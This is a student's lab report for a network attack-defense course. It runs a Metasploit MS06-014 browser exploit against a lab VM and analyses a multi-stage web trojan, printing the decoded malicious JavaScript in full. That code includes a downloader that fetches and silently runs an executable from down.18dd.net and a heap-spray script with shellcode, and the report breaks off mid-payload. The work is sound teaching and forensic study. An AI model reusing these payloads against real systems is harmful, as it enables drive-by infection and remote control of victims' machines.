20253911 2024-2025-2 《网络攻防实践》实践十一报告
1 实验内容
1 实验要求
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
2 知识点总结与梳理
1.2.1 网页挂马基本原理
网页挂马是最经典的Web客户端渗透攻击方式,攻击者将恶意漏洞利用代码嵌入正常网页,受害者使用存在漏洞、未打补丁的浏览器访问恶意网页时,无需点击额外链接、无需授权,浏览器自动触发漏洞,执行恶意载荷,最终被攻击者远程控制。
完整挂马攻击链路分为四层:入口页面→分层加载恶意脚本→漏洞触发执行Shellcode→下载落地木马→持久化控制主机
1.2.2 MS06-014(CVE-2006-0003)IE高危漏洞
1 漏洞基础信息
该漏洞是微软2006年发布的高危远程代码执行漏洞,仅影响Windows2000/XP/Server2003系统搭配IE6浏览器,是早期网页挂马的标杆漏洞。
2 漏洞成因
IE6浏览器对RDS.DataSpace等COM组件实例化校验存在缺陷,攻击者可通过恶意JS脚本非法创建未授权ActiveX控件,破坏浏览器内存布局,触发内存溢出,绕过浏览器原生安全防护机制。
3 漏洞利用特点
- 无交互攻击:受害者仅需访问恶意网页即可中招,无需任何点击操作
- 权限等级:以当前浏览器登录用户权限执行任意系统命令
- 现状:微软已推送官方补丁修复,现代浏览器、Windows7及以上系统完全不受影响,仅用于教学实验
- MSF对应模块:exploit/windows/browser/ie_createobject
1.2.3 MS06-055 IE VML栈溢出漏洞
1 漏洞基础信息
同样为IE6浏览器高危远程代码执行漏洞,属于VML矢量图形组件栈溢出漏洞,攻击者通过构造恶意VML标签,填充超长数据造成栈内存溢出,劫持程序执行流。
2 漏洞利用特点
- 攻击载体:依托HTML页面内嵌恶意VML代码触发漏洞
- 适用环境:和MS06-014一致,仅适配未打补丁的IE6浏览器
- MSF对应模块:exploit/windows/browser/ms06_055_vml_method
2 实验过程
2.1 web浏览器渗透攻击
2.1.1 配置实验环境
选取kali和win2kserver作为攻击机和靶机,IP地址分别为:192.168.20.129和192.168.20.132
测试二者的连通性:


其中 prompt zhangziyan $g为修改主机名
2.1.2 使用metasploit进行渗透实验
在kali中输入msfconsole,打开metasploit

使用命令search MS06-014 查找漏洞MS06-014 漏洞对应的利用模块

use exploit/windows/browser/ie_createobject
使用命令show tragets查看当前模块支持的攻击目标

set payload windows/shell/bind_tcp,设置Payload为任意TCP连接
set URIPATH ,设置URIPATH为根路径。

将生成的连接http://192.168.20.129:8080/1va38t ,在win2kserver浏览器中打开。浏览器页面中出现一串字符。这一现象可以理解为靶机访问 exploit 服务后,浏览器接收到了 Metasploit 返回的页面内容或触发过程中的输出,并不表示普通网页访问失败。

在win2kserver访问了链接之后,Metasploit 成功投递并执行了 payload建立了稳定的远程控制会话

输入命令sessions -i 1进入靶机的命令行环境,可以直接在攻击机上控制靶机执行命令

2.2 网页木马攻击场景分析
2.2.1首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

发现new09.html与start.html在同一个目录下
由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。后续结合wp文件(学习通中)补全 new09.htm 的实际内容。该文件内容较短,核心是两条外部资源加载语句。
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
可以判断,new09.htm 并不直接包含完整漏洞利用代码,而是通过隐藏 iframe 加载 kl.htm,并通过 script 标签加载 1299644.js。这符合网页木马常见的分层加载方式。
2.2.2在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
1、在https://www.cmd5.com/default.aspx 网页查询 http://aa.18dd.net/aa/kl.htm的加密结果

2、查询http://js.users.51.la/1299644.js的加密结果

3、按照http://192.168.68.253/scom/hashed/+散列值的方式分别下载这两个文件,
即:
http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3
在hash文件夹中找到23180a42a2ff1192150231b44ffdf3d3,7f60672dcd6b5e90b6772545ee219bd3这两个文件打开


其中一个文件内容较直观,另一个文件中包含大量混淆代码。通过观察函数名和代码结构,可判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。
2.2.3 如果解密出的地址给出的是网页或脚本文件,请继续解密。
1、上图t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
即为加密密钥,将该加密密钥在下图中所示网站进行转换得:

即结果为script;
2、知道了加密密钥,那我们就将上述文件进行解密,解密流程可整理为:
Base64 解码 → XXTEA 解密,密钥为 script → JavaScript 字符串转义还原

即
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
3、解密结果即:

<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>
使用 CyberChef 进行解码时,先对密文执行 Base64 解码,再使用 XXTEA 解密并填入密钥 script,最后对输出中的 JavaScript 转义字符串进行还原。解密结果显示,该脚本是一个 恶意漏洞探测与利用加载器,通过检测用户浏览器中可用的 ActiveX 控件,动态选择相应的漏洞利用脚本或载荷,最终下载并执行相同的木马程序。
4、行为分析
优先级漏洞利用链
a.首选:尝试创建 ADODB.Stream 对象(通过 object 标签 + CLSID BD96C556-65A3-11D0-983A-00C04FC29E36)。
- 成功 → 加载 http://aa.18dd.net/aa/1.js(该脚本下载 014.exe 并执行)。
- 失败 → 进入备用方案。
b.备用方案(依次尝试以下控件,哪个可用就触发对应攻击): - MPS.StormPlayer(暴风影音控件)→ 加载 b.js(利用堆喷射下载 bf.exe)。
- POWERPLAYER.PowerPlayerCtrl.1(PPS 控件)→ 加载 pps.js(针对 PPS 漏洞下载 pps.exe)。
- BaiduBar.Tool(百度工具栏)→ 直接调用 DloadDS 方法下载 bd.cab,解压得到 bd.exe。
从或漏洞探测页面中提取到四个二阶段恶意脚本文件:1.js、b.js、pps.js 以及 bd.cab。
2.2.4 如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
通过对这四个文件进行静态分析和动态行为模拟,分别解析出它们各自携带的远程下载地址:
-
1.js 利用 ADODB.Stream 对象下载 http://down.18dd.net/bb/014.exe ;
-
b.js 通过堆喷射技术执行 shellcode,下载 http://down.18dd.net/bb/bf.exe ;
-
pps.js 针对 PPS 控件的漏洞触发,下载 http://down.18dd.net/bb/pps.exe ;
-
bd.cab 为 CAB 压缩包,解压后得到 bd.exe。
进一步对上述四个可执行文件(014.exe、bf.exe、pps.exe、bd.exe)进行哈希计算,发现其样本内容 MD5 值均为 1290ecd734d68d52318ea9016dc6fe63,证明这四个文件实际上是同一个恶意程序的多个副本。攻击者通过多种不同的漏洞利用路径(ADODB.Stream、StormPlayer、PPS 控件、百度工具栏)最终投递了相同的木马载荷。
① 按照说明的提示,分别对“ http://aa.18dd.net/aa/1.js ”、“ http://aa.18dd.net/aa/b.js ”、
“ http://aa.18dd.net/aa/pps.js ”和“ http://down.18dd.net/bb/bd.cab ”求取MD5散列值如下图所示:

md5(http://aa.18dd.net/aa/1.js) = 5d7e9058a857aa2abee820d5473c5fa4

md5(http://aa.18dd.net/aa/b.js) = 3870c28cc279d457746b3796a262f166

md5(http://aa.18dd.net/aa/pps.js) = 5f0b8bf0385314dbe0e5ec95e6abedc2

md5(http://down.18dd.net/bb/bd.cab) = 1c1d7b3539a617517c49eee4120783b2
| 文件名 | 漏洞利用技术 | 远程下载地址 | 最终载荷文件 |
|---|---|---|---|
| 1.js | 利用 ADODB.Stream 对象下载 | http://down.18dd.net/bb/014.exe | 014.exe |
| b.js | 堆喷射技术执行 shellcode 下载 | http://down.18dd.net/bb/bf.exe | bf.exe |
| pps.js | 针对 PPS 控件的漏洞触发下载 | http://down.18dd.net/bb/pps.exe | pps.exe |
| bd.cab | CAB 压缩包,解压后释放可执行文件 | - | bd.exe |
② 得到散列值后分析文件:
1)首先是1.js

即:
eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")

var url="http://down.18dd.net/bb/014.exe";
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);
xml.Send();as.type=1;
as.open();
as.write(xml.responseBody);
path=".\\ntuser.com";
as.savetofile(path,2);
as.close();
varshell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}
这段 JavaScript 代码实现了一个 文件下载器 + 执行器 的功能,通常出现在恶意脚本(如漏洞利用后的 payload)中。
var url = 'http://down.18dd.net/bb/014.exe';定义远程可执行文件的 URL(一个名为 014.exe 的程序)
该脚本利用 Microsoft.XMLHTTP 对象从远程服务器( http://down.18dd.net/bb/014.exe )同步下载一个可执行文件,将其保存至本地 ..\ntuser.com,随后通过 Shell.Application 对象静默执行 cmd.exe /c ..\ntuser.com,从而在受害者主机上运行恶意程序。
2)其次是文件b.js:

即:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))
利用在线解包工具解密:

得到:
var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

这段代码是一个 利用 IE 浏览器漏洞(CVE-2012-4969 或类似)的堆喷射(Heap Spray)攻击脚本,最终目标是执行 shellcode 下载并运行恶意程序。
① 堆喷射构造
- bigblock 初始化为 %u9090%u9090(即 0x9090 两个字节,相当于 NOP 滑梯)。
- 设置 headersize = 20,slackspace = headersize + shellcode.length。
- 通过循环扩展 bigblock 直到长度不小于 slackspace。
- 取 fillblock = bigblock.substring(0, slackspace) 作为填充块。
- 接着构造一个大块 block,其长度为 bigblock.length - slackspace。
- 然后循环扩展 block,每次追加 block + fillblock,直到总长度 block.length + slackspace 达到或超过 262144(即 0x40000 字节,常见堆喷射目标大小)。
- 最终每个 memory[x] 中存储 block + shellcode,其中 shellcode 是实际要执行的恶意代码。
② Shellcode 功能
shellcode 由 unescape('%u...') 解码得到,其二进制指令执行以下操作:
- 动态获取 API 地址:通过 PEB 遍历 kernel32.dll,获取 LoadLibraryA 和 GetProcAddress 等函数。
- 下载文件:调用 URLDownloadToFileA 或类似函数从远程服务器下载可执行文件。
- 执行下载的文件:调用 WinExec 或 ShellExecute 运行下载的程序。
从 shellcode 末尾的 Unicode 字符串可以解码出 URL:
%u6874%u7074%u3a2f%u2f64%u776f%u2e6e%u3831%u6464%u2e6e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
解码后为:http://down.18dd.net/bb/bf.exe(部分版本可能是 014.exe)。
③ 漏洞触发方式
最后一行 storm.rawParse(buffer); 表明攻击者针对的是一个名为 storm 的 ActiveX 控件(可能是暴风影音控件或其他第三方控件),调用其 rawParse 方法并传入一个超长字符串 buffer(4068 个换行符)。
这会触发该控件中的缓冲区溢出漏洞,使程序执行流跳转到堆中预先布置的 NOP 滑梯,最终执行 shellcode。
3)再次是文件pps.js:

即:
eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\